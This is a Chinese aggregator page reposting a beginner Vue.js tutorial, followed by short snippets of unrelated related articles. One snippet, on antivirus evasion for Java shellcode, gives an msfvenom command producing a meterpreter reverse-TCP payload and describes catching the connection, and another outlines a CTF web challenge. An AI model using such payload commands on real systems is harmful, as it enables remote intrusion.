当前位置： 首页 > news >正文

Vue基础入门---详细简介

news 文章来源：https://blog.csdn.net/m0_73192864/article/details/132921890 2024/10/30 13:33:01

一，对Vue的概念

1.1 什么是Vue ？

       一种流行的JavaScript前端框架，用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制，使得数据的变化能够自动更新相关的DOM元素，同时也提供了一套简洁明了的语法和API，使得开发人员能够更轻松地构建和维护复杂的用户界面

总而言之，Vue是一种功能强大且易于学习的前端框架，适用于开发各种规模的Web应用程序，从简单的页面增强到复杂的单页面应用

1.2  使用Vue的好处

简洁易学：提供了简洁的API和清晰的文档，使得学习和上手变得相对容易。

响应式：使用了响应式的数据绑定机制，当数据发生变化时，自动更新相关的DOM元素，减少了手动操作DOM的繁琐。

组件化开发：鼓励组件化开发，将界面拆分为独立可复用的组件，提高了代码的可维护性和可重用性。

生态系统：拥有强大的生态系统，包括Vue Router、Vuex等插件和工具，能够满足不同规模项目的需求。

性能优化：通过虚拟DOM和精细的更新策略，提高了应用程序的性能，并保持了灵活性和开发效率

二，Vue的基础入门

2.1 MVVM（数据双向绑定）

      在使用之前我们先来了解一下什么是MVVM？，简单来说它一种更好的UI模式解决方案，MVVM可以通过数据双向绑定让数据自动地双向同步        

MVVM    M-V-VM

MVVMM-V-VM
M

model数据模型

V

view视图

VMViewModel视图模型，把Model和view关联起来就是ViewModel，viewModel负责把Model的数据同步到View显示出来，还负责把View的修改同步回Model

 1) V（修改数据） --> M  将视图层的数据通过事件将数据提交到后端服务器(前端到后端)
      $('#btn_login').click(function(){
         通过ajax将页面中的数据通过json格式传递到后端服务器
     })

   2) M（修改数据）-> V  将后端数据（JSON）通过赋值的方式在视图层展现(后端到前端)  
      通过ajax的方式调用后端的数据接口将回传过来的JSON数据渲染到页面
      $('#book_name').val("xxx");

        相比之下MVC模式，MVVM模型是一种更现代化的架构模式，它在MVC模式的基础上引入了一个新的组件：视图模型（ViewModel）。MVVM模式将应用程序分为四个主要组件：模型（Model）、视图（View）、视图模型（ViewModel）和数据绑定（Data Binding）。模型负责处理数据和业务逻辑，视图负责展示用户界面，视图模型则充当模型和视图之间的中介，负责处理视图的状态和行为。数据绑定机制使得视图和视图模型之间的数据同步更加简单和自动化。MVVM模式的优点是将视图和业务逻辑分离，使得代码更易于维护和测试，并且通过数据绑定机制提供了更好的用户界面交互体验。

2.2 BootCDN（加速服务）

官方网址：BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务 

BootCDN是一个免费的CDN加速服务，致力于为Bootstrap、jQuery、React、Vue.js一样优秀的前端开源项目提供稳定、快速的免费CDN加速服务。BootCDN所收录的开源项目主要同步于cdnjs。你可以通过BootCDN提供的链接直接使用这些开源库，而无需下载到本地，从而加快页面的加载速度 。

三，Vue实例

3.1 Vue开发示例

导入相对应的工具，在BootCDN供的链接直接使用这些开源库copy即可

<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>

注：

1. 每个Vue应用都是通过用Vue构造器创建一个新的Vue实例开始的。
2. 需要给vue指定一个内容管理区，通常我们也把它叫做边界，这意味着我们接下来的改动全部在指定的div内，div外部无用。
3. 双花括号叫做插值

1 定义边界

         <div id="Bing">{{msg}}</div>

2 创建Vue实例 

	<body><script type="text/javascript">  new Vue({el:"#Bing",data(){return  {msg:'Hello Bing!'}}})</script></body>

 3.2  Vue的基本语法

  1. vue指令：指的是是带有“v-”前缀的特殊属性
  2. vue实例的methods用来定义交互事件使用的函数,函数名不限制

①v-model

        在Vue中，v-model是一个指令，用于在表单控件元素上创建双向数据绑定。它实际上是语法糖，等同于v-bind和v-on的结合体

定义边界

	<!--定义vue管理的边界，有且只有一个根节点---><div id="Bing">{{msg}}<input v-model="msg"><br/></div>

Vue实例：

    <script type="text/javascript">  		  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}}})

②v-bind：value

        在Vue中，v-bind是一个指令，用于将元素的属性与Vue实例的数据进行绑定。其中，：value是v-bind的一个参数，表示要绑定的属性名

③事件绑定

<!--完整写法-->
<button v-on:事件名="函数名/vue表达式">点我</button>
<!--简化写法-->
<button @事件名="函数名/vue表达式">点我</button>

Vue支持html中所有已知事件. 如: @click, @submit等, 只不过是将之前的on全部换成了@

如button中的@click

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title></title><!--导入相对应的工具--><script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script></head><body><!--定义vue管理的边界，有且只有一个根节点---><div id="Bing"><!-- {{msg}} --><input :value="msg"><br/><button @click="tan()">点击我弹出输入框内容</button></div><script type="text/javascript">  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}},methods:{tan(){alert(this.msg)}}})</script></body>
</html>

四，Vue的生命周期 

   Vue生命周期钩子是在Vue实例的不同阶段执行的回调函数。这些钩子函数允许我们在特定的生命周期阶段执行自定义逻辑，以便在应用程序的不同阶段进行初始化、更新和销毁操作。

以下是Vue的生命周期钩子函数：

beforeCreate：在实例被创建之前调用，此时数据观测和事件配置尚未完成。

created：在实例创建完成后调用，此时已完成数据观测，但尚未挂载到DOM上。

beforeMount：在实例挂载到DOM之前调用。

mounted：在实例挂载到DOM后调用，此时可以访问到DOM元素。

beforeUpdate：在数据更新之前调用，发生在虚拟DOM重新渲染和打补丁之前。

updated：在数据更新之后调用，发生在虚拟DOM重新渲染和打补丁之后。

beforeDestroy：在实例销毁之前调用，此时实例仍然完全可用。

destroyed：在实例销毁之后调用，此时实例已被销毁，所有的事件监听器和子实例也被移除。
 

Vue生命周期图:

相关文章：

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

编程日记 2023/9/21 19:56:36

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

编程日记 2023/9/21 19:55:35

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

编程日记 2023/9/21 19:54:34

云可观测性：提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

编程日记 2023/9/21 19:53:34

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

编程日记 2023/9/21 19:51:32

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

编程日记 2023/9/21 19:50:32

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

编程日记 2023/9/21 19:49:31

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

编程日记 2023/9/21 19:47:29

Mybatis返回自动递增主键值，通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

编程日记 2023/9/21 19:46:27

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

编程日记 2023/9/21 19:43:25

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

编程日记 2023/9/21 19:41:23

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

编程日记 2023/9/21 19:38:21

C 风格文件输入/输出---错误处理---(std::clearerr，std::feof，std::ferror，std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

编程日记 2023/9/21 19:37:20

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

编程日记 2023/9/21 19:36:19

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

编程日记 2023/9/21 19:33:17

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

编程日记 2023/9/21 19:32:16

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

编程日记 2023/9/21 19:30:14

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

编程日记 2023/9/21 19:29:14

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

编程日记 2023/9/21 19:28:13

SpringBoot实战（二十四）集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

编程日记 2023/9/21 19:27:12

文件挂载nas挂载

准备资源 nas服务器&#xff1a; 192.168.1.2 分配的nas卷名&#xff1a; mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

编程日记 2023/9/21 19:26:11

电影格式怎么转换mp4？电影格式转换教程

电影格式怎么转换mp4&#xff1f;平时喜欢看电影的小伙伴都知道&#xff0c;平时我们下载到的电影文件格式可谓是五花八门&#xff0c;如Mp4、Flv、AVI、WMV、MKV、MOV等。然而&#xff0c;相较于其他常用格式&#xff0c;MP4是一种使用最为广泛的视频格式&#xff0c;并且文件…...

编程日记 2023/9/21 19:24:08

HarmonyOS之 组件的使用

一 容器 1.1 容器分类 Column表示沿垂直方向布局的容器。Row表示沿水平方向布局的容器。 1.2 主轴和交叉轴 主轴&#xff1a;在Column容器中的子组件是按照从上到下的垂直方向布局的&#xff0c;其主轴的方向是垂直方向&#xff1b;在Row容器中的组件是按照从左到右的水平方向…...

编程日记 2023/9/21 19:23:07

IAM：身份验证与授权

身份验证和授权可能听起来相似&#xff0c;但在核心功能方面它们是不同的。身份验证和授权是在用户尝试访问其资源时执行的安全过程。身份验证和授权在防止网络安全漏洞和加强组织的安全系统方面发挥着至关重要的作用。 验证&#xff1a;验证用户的身份 - 用户是谁&#xff1f…...

编程日记 2023/9/21 19:21:05

Linux——vi编辑器

目录 一、基本简介 二、命令模式下的常用按键 1、光标跳转按键 2、复制、粘贴、删除 三、编辑模式 四、末行模式 1、查找关键字并替换 2、保存退出 3、其他操作 五、模式切换 一、基本简介 1、最早可追随到1991年&#xff0c;全称为“Vi IMproved” 2、模式 ——命…...

编程日记 2023/9/21 19:18:03

【Linux学习笔记】权限

1. 普通用户和root用户权限之间的切换2. 权限的三个w2.1. 什么是权限&#xff08;what&#xff09;2.1.1. 用户角色2.1.2. 文件属性 2.2. 怎么操作权限呢&#xff1f;&#xff08;how&#xff09;2.2.1. ugo-rwx方案2.2.2. 八进制方案2.2.3. 文件权限的初始模样2.2.4. 进入一个…...

编程日记 2023/9/21 19:16:02

Aspose转pdf乱码问题

一、问题描述 ​ 在centos服务器使用aspose.word转换word文件为pdf的时候显示中文乱码(如图)&#xff0c;但是在win服务器上使用可以正常转换 二、问题原因 由于linux服务器缺少对应的字库导致文件转换出现乱码的 三、解决方式 1.将window中字体(c:\windows\fonts)放到linux…...

编程日记 2023/9/21 19:15:01

table中的td内部的元素不能与td等高的问题

解决该问题的办法: td标签内部的元素使用table布局&#xff0c;但是需要注意的是td必须设置高度&#xff0c;高度为任意值都可以&#xff0c;虽然设置了高度&#xff0c;但是td依然会被内部内容的高度撑开 <template><table><tr><td><div class&q…...

编程日记 2023/9/21 19:11:58

Layui + Flask | 实现数据表格修改（案例篇）（09）

此案例内容比较多，建议滑到最后点击阅读原文，阅读体验更佳。后续也会录制案例视频，将在本周内上传到同名的 b 站账号。 接下来演示用 flask + layui 搭建一个学员信息管理的案例 这个案例将会利用 flask 做后端，layui table 组件做前端，基于 restful api 完成一个学员信息…...

编程日记 2023/9/21 19:10:57

BCC源码编译和安装

接前一篇文章&#xff1a;BCC源码下载 1. 进入源码根目录 进入到BCC源码根目录。命令及结果如下&#xff1a; $ cd bcc ~/eBPF/BCC/bcc$ ls cmake CONTRIBUTING-SCRIPTS.md docs images libbpf-tools man scripts src CMakeLists.txt …...

编程日记 2023/9/21 19:09:57

wordpress主题404页面/武汉全网推广

最近几天&#xff0c;有的人在偷偷地买蚂蚁的基金&#xff0c;有的人却偷偷的在蚂蚁面试。 最近确实是面试的好时候。大家都奔着大厂去的&#xff0c;最近也分享了好多大厂的面经了&#xff0c;什么阿里、字节、京东、美团、百度、腾讯、滴滴、网易…已经数不清有多少了。&…...

编程日记 2024/10/30 13:24:05

公司网站能自己做二维码/b站免费建网站

题目大意&#xff1a;将一个1~n的环形排列变成升序的&#xff0c;最少需要几次操作&#xff1f;每次操作可以交换任意两个数字。 题目分析&#xff1a;枚举出1的位置。贪心策略&#xff1a;每次操作都保证至少一个数字交换到正确位置上。 # include<iostream> # include&…...

编程日记 2024/10/30 13:18:02

wordpress显示缩略图 摘要/360站长工具seo

作为讲述口袋妖怪的Round 16&#xff0c;这里&#xff0c;我会采用“夹叙夹议&#xff0c;夹议夹叙”的模式进行编排。也就是在议论一些口袋妖怪中的小游戏的核心算法的同时&#xff0c;叙述一下我对口袋妖怪的理解以及我与这一系列的经历。以上&#xff0c;就是我们的那位少年…...

编程日记 2024/10/30 11:05:35

网站建设安全问题/google app

HarmonyOS是2021年底开源的一款国产操纵系统&#xff0c;主要由华为团队主导和研发&#xff0c;是一款“面向未来”、面向全场景&#xff08;移动办公、运动健康、社交通信、媒体娱乐等&#xff09;的分布式操作系统。在传统的单设备系统能力的基础上&#xff0c;HarmonyOS提出…...

编程日记 2024/10/30 10:34:17

微信代理网站模板/全网整合营销推广

/Applications/VirtualBox.app/Contents/MacOS/VBoxManage startvm "centos7" --type headless...

编程日记 2024/10/29 23:22:25

怎么建免费网站/免费推广软件工具

注册全局组件 定义一个全局的组件的方法&#xff1a; Vue.component("submission-component",{//options }) 定义一个节点级别的组件 const submissionComponent{//组件的声明 }new Vue({//在此处注册组件 }) 创建组件的实例 //单行创建组件const submissionCompone…...

编程日记 2024/10/29 19:16:14